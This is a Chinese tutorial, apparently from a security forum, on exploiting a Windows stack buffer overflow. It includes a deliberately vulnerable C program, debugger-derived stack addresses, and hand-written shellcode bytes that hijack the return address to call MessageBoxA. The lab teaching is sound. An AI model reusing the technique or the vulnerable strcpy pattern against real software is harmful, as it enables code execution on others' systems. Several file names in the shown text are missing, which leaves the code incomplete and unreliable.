本节将涉及极少量的汇编语言编程,不过不要怕,非常简单,我会给于详细的解释,不用专门去学汇编语言也能扛下来
另外本节需要最基本的使用OllyDbg进行调试,并配合一些其他工具以确认一些内存地址。当然这些地址的确认方法有很多,我只给出一种解决方案,如果大家在实验的时候有什么心得,不妨在跟贴中拿出来和大家一起分享,一起进步。
开始前简单回顾上节的内容:
文件中的超长畸形密码读入内存后,会淹没verify_password函数的返回地址,将其改写为密码验证正确分支的指令地址
函数返回时,错误的返回到被修改的内存地址处取指执行,从而打印出密码正确字样
试想一下,如果我们把buffer[44]中填入一段可执行的机器指令(写在文件中即可),再把这个返回地址更改成buffer[44]的位置,那么函数返回时不就正好跳去buffer里取指执行了么——那里恰好布置着一段用心险恶的机器代码!
本节实验的内容就用来实践这一构想——通过缓冲去溢出,让进程去执行布置在缓冲区中的一段任意代码。
图1
如上图所示,在本节实验中,我们准备向文件里植入二进制的机器码,并用这段机器码来调用windows的一个API函数MessageBoxA,最终在桌面上弹出一个消息框并显示“failwest”字样。事实上,您可以用这段代码来做任何事情,我们这里只是为了证明技术的可行性。
为了完成在栈区植入代码并执行,我们在上节的密码验证程序的基础上稍加修改,使用如下的实验代码:
#include <;
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("u;);//prepare for MessageBox
if(!(fp=fopen("","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
这段代码在底4讲中使用的代码的基础上修改了三处:
增加了头文件windows.h,以便程序能够顺利调用LoadLibrary函数去装载u
verify_password函数的局部变量buffer由8字节增加到44字节,这样做是为了有足够的空间来“承载”我们植入的代码
main函数中增加了LoadLibrary("u;)用于初始化装载u,以便在植入代码中调用MessageBox
用VC6.0将上述代码编译(默认编译选项,编译成debug版本),得到有栈溢出的可执行文件。在同目录下创建文件用于程序调试。
我们准备在文件中植入二进制的机器码,在攻击成功时,密码验证程序应该执行植入的代码,并在桌面上弹出一个消息框显示“failwest”字样。
让我们在动手之前回顾一下我们需要完成的几项工作:
1:分析并调试漏洞程序,获得淹没返回地址的偏移——在的第几个字节填伪造的返回地址
2:获得buffer的起始地址,并将其写入的相应偏移处,用来冲刷返回地址——填什么值
3:向中写入可执行的机器代码,用来调用API弹出一个消息框——编写能够成功运行的机器代码(二进制级别的哦)
这三个步骤也是漏洞利用过程中最基本的三个问题——淹到哪里,淹成什么以及开发shellcode
首先来看淹到什么位置和把返回地址改成什么值的问题
本节验证程序里verify_password中的缓冲区为44个字节,按照前边实验中对栈结构的分析,我们不难得出栈帧中的状态如下图所示:
图2
如果在中写入恰好44个字符,那么第45个隐藏的截断符null将冲掉authenticated低字节中的1,从而突破密码验证的限制。我们不妨就用44个字节做为输入来进行动态调试。
出于字节对齐、容易辨认的目的,我们把“4321”作为一个输入单元。
buffer[44]共需要11个这样的单元
第12个输入单元将authenticated覆盖
第13个输入单元将前栈帧EBP值覆盖
第14个输入单元将返回地址覆盖
分析过后我们需要进行调试验证分析的正确性。首先在中写入11组“4321”共44个字符:
图3
如我们所料,authenticated被冲刷后程序将进入验证通过的分支:
图4
用OllyDbg加载这个生成的PE文件进行动态调试,字符串拷贝函数过后的栈状态如图:
图5
此时的栈区内存如下表所示
局部变量名 内存地址 偏移3处的值 偏移2处的值 偏移1处的值 偏移0处的值
buffer[0~3] 0x0012FAF0 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’)
…… (9个双字) 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’)
buffer[40~43] 0x0012FB18 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’)
authenticated
(被覆盖前) 0x0012FB1C 0x00 0x00 0x00 0x31 (‘1’)
authenticated
(被覆盖后) 0x0012FB1C 0x00 0x00 0x00 0x00 (NULL)
前栈帧EBP 0x0012FB20 0x00 0x12 0xFF 0x80
返回地址 0x0012FB24 0x00 0x40 0x11 0x18
动态调试的结果证明了前边分析的正确性。从这次调试中我们可以得到以下信息:
buffer数组的起始地址为0x0012FAF0——注意这个值只是我调试的结果,您需要在自己机器上重新确定!
文件中第53到第56个字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址
也就是说将buffer的起始地址0x0012FAF0写入文件中的第53到第56个字节,在verify_password函数返回时会跳到我们输入的字串开始出取指执行。
我们下面还需要给中植入机器代码。
让程序弹出一个消息框只需要调用windows的API函数MessageBox。MSDN对这个函数的解释如下:
int MessageBox(
HWND hWnd, // handle to owner window
LPCTSTR lpText, // text in message box
LPCTSTR lpCaption, // message box title
UINT uType // message box style
);
hWnd
[in] 消息框所属窗口的句柄,如果为NULL的话,消息框则不属于任何窗口
lpText
[in] 字符串指针,所指字符串会在消息框中显示
lpCaption
[in] 字符串指针,所指字符串将成为消息框的标题
uType
[in] 消息框的风格(单按钮,多按钮等),NULL代表默认风格
虽然只是调一个API,在高级语言中也就一行代码,但是要我们直接用二进制指令的形式写出来也并不是一件容易的事。这个貌似简单的问题解决起来还要用一点小心思。不要怕,我会给我的解决办法,不一定是最好的,但是能解决问题。
我们将写出调用这个API的汇编代码,然后翻译成机器代码,用16进制编辑工具填入文件。
注意:熟悉MFC的程序员一定知道,其实系统中并不存在真正的MessagBox函数,对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类函数(UNICODE)调用。因此我们在汇编语言中调用的函数应该是MessageBoxA。多说一句,其实MessageBoxA的实现只是在设置了几个不常用参数后直接调用MessageBoxExA。探究API的细节超出了本书所讨论的范围,有兴趣的读者可以参阅其他书籍。
用汇编语言调用MessageboxA需要三个步骤:
1.装载动态链接库u。MessageBoxA是动态链接库u的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它
2.在汇编语言中调用这个函数需要获得这个函数的入口地址
3 在调用前需要向栈中按从右向左的顺序压入MessageBoxA的四个参数。当然,我肯定压如failwest啦,哈哈
对于第一个问题,为了让植入的机器代码更加简洁明了,我们在实验准备中构造漏洞程序的时候已经人工加载了u这个库,所以第一步操作不用在汇编语言中考虑。
对于第二个问题,我们准备直接调用这个API的入口地址,这个地址需要在您的实验机器上重新确定,因为u中导出函数的地址和操作系统版本和补丁号有关,您的地址和我的地址不一定一样。
MessageBoxA的入口参数可以通过u在系统中加载的基址和MessageBoxA在库中的偏移相加得到。为啥?看下看雪老大《软件加密与解密》中关于虚拟地址这些基础知识的论述吧,相信版内也有很多相关资料。
这里简单解释下,MessageBoxA是u的一个导出函数,要确定它首先要知道u在虚拟内存中的装载地址(与操作系统版本有关),然后从这个基地址算起,找到MessageBoxA这个导出函数的偏移,两者相加,就是这个API的虚拟内存地址。
具体的我们可以使用VC6.0自带的小工具“Dependency Walker”获得这些信息。您可以在VC6.0安装目录下的Tools下找到它:
图6
运行Depends后,随便拖拽一个有图形界面的PE文件进去,就可以看到它所使用的库文件了。在左栏中找到并选中u后,右栏中会列出这个库文件的所有导出函数及偏移地址;下栏中则列出了PE文件用到的所有的库的基地址。
图7
如上图示,u的基地址为0x77D40000,MessageBoxA的偏移地址为0x000404EA。基地址加上偏移地址就得到了MessageBoxA在内存中的入口地址:0x77D804EA
有了这个入口地址,就可以编写进行函数调用的汇编代码了。这里我们先把字符串“failwest”压入栈区,消息框的文本和标题都显示为“failwest”,只要重复压入指向这个字符串的指针即可;第一个和第四个参数这里都将设置为NULL。写出的汇编代码和指令所对应的机器代码如下:
机器代码(16进制) 汇编指令 注释
33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53 PUSH EBX
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
8B C4 MOV EAX,ESP EAX里是字符串指针
53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:
(0,failwest,failwest,0)
消息框为默认风格,文本区和标题都是“failwest”
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。注意不同的机器这里的
函数入口地址可能不同,请按实际值填入!
FF D0 CALL EAX
从汇编指令到机器码的转换可以有很多种方法。调试汇编指令,从汇编指令中提取出二进制机器代码的方法将在后面逐一介绍。由于这里仅仅用了11条指令和对应的26个字节的机器代码,如果您一定要现在就弄明白指令到机器码是如何对应的话,直接查阅Intel的指令集手工翻译也不是不可以。
将上述汇编指令对应的机器代码按照上一节介绍的方法以16进制形式逐字抄入,第53到56字节填入buffer的起址0x0012FAF0,其余的字节用0x90(nop指令)填充,如图:
图8
换回文本模式可以看到这些机器代码所对应的字符:
图9
这样构造了之后在运行验证程序,程序执行的流程将按下图所示:
图10
程序运行情况如图:
图11
成功的弹出了我们植入的代码!
您成功了吗?如果成功的唤出了藏在中的消息框,请在跟贴中吱一下,和大家一起分享您喜悦的心情,这是我们学习技术的源动力。
最后总结一下本节实验的几个要点:
确认函数返回地址与buffer数组的距离——淹哪里
确认buffer数组的内存地址——把返回地址淹成什么(需要调试确定,与机器有关)
编制调用消息框的二进制代码,关键是确定MessageBoxA的虚拟内存地址(与机器有关)
我实验用的PE和在这里:
想要PE的请点这里:.
想要Pa的请点这里:.
这节课的题目是麻雀虽小,五脏俱全。这是因为这节课第一次把漏洞利用的全国程展现给了大家:
密码验证程序读入一个畸形的密码文件,竟然蹦出了一个消息框!
Word在解析doc文档时,不知有多少个内存复制和操作的函数调用,如果哪一个有溢出漏洞,那么office读入一个畸形的word文档时,会不会弹出个消息框,开个后门,起个木马啥的?
IIS和APACHE在解析WEB请求的时候,也不知道有多少内存复制操作,如果存在溢出漏洞,那么攻击者发送一个畸形的WEB请求,会不会导致server做出点奇怪的事情?
RPC调用中如果出现……
上面说的并不是危言耸听,全都是真实世界中曾经出现过的漏洞攻击案例。本节的例子是现实中的漏洞利用案例的精简版,用来阐述基本概念并验证技术可行性。随着后面的深入讨论,您会发现漏洞研究是多么有趣的一门技术。
在本节最后,我给出一个课后作业和几个思考题——因为下一讲可能会稍微隔几天,大家不妨自己动手练习练习,记住光听课是没有的,动手非常重要!
课后作业:如果您细心的话,在点击上面的ok按钮之后,程序会崩溃:
图12
这是因为MessageBoxA调用的代码执行完成之后,我们没有写安全退出的代码的缘故。您能把我给出的二进制代码稍微修改下,使之能够在点击之后干净利落的退出进程么?
如果你能做到这一点,不妨把你的解决方案也拿出来和大家一起分享,一起进步。
思考题:
1:我反复强调,buffer的位置在实验中需要自己在调试中确定,不同机器环境可能不一样。
大家都知道,程序运行中,栈的位置是动态变化的,也就是说buffer的内存地址可能每次都不一样,在真实的漏洞利用中,尤其是遇到多线程的程序,每次的缓冲区位置都是不同的。那么我们怎么保证在函数返回时总能够准确的跳回buffer,找到植入的代码呢?
比较通用的定位植入代码(shellcode)的方法我会在后面的讲座中系统介绍,这里先提一下,大家可以思考思考
2:我也反复强调,API的地址需要自己确定,不同环境会有不同。这样植入代码的通用性还是会大打折扣。有没有通用的定位windows API的方法呢?
以上两个问题是影响windows平台下漏洞利用稳定性的两个很关键的问题。我选择了windows平台来讲解,是为了照顾初学者对linux的进入门槛和windows下美轮美奂的调试工具。但windows的溢出是相对linux较难的,进入简单,深造难。不过我相信大家能啃下来的。
转载自看雪社区@PEdiy.com
学习地址: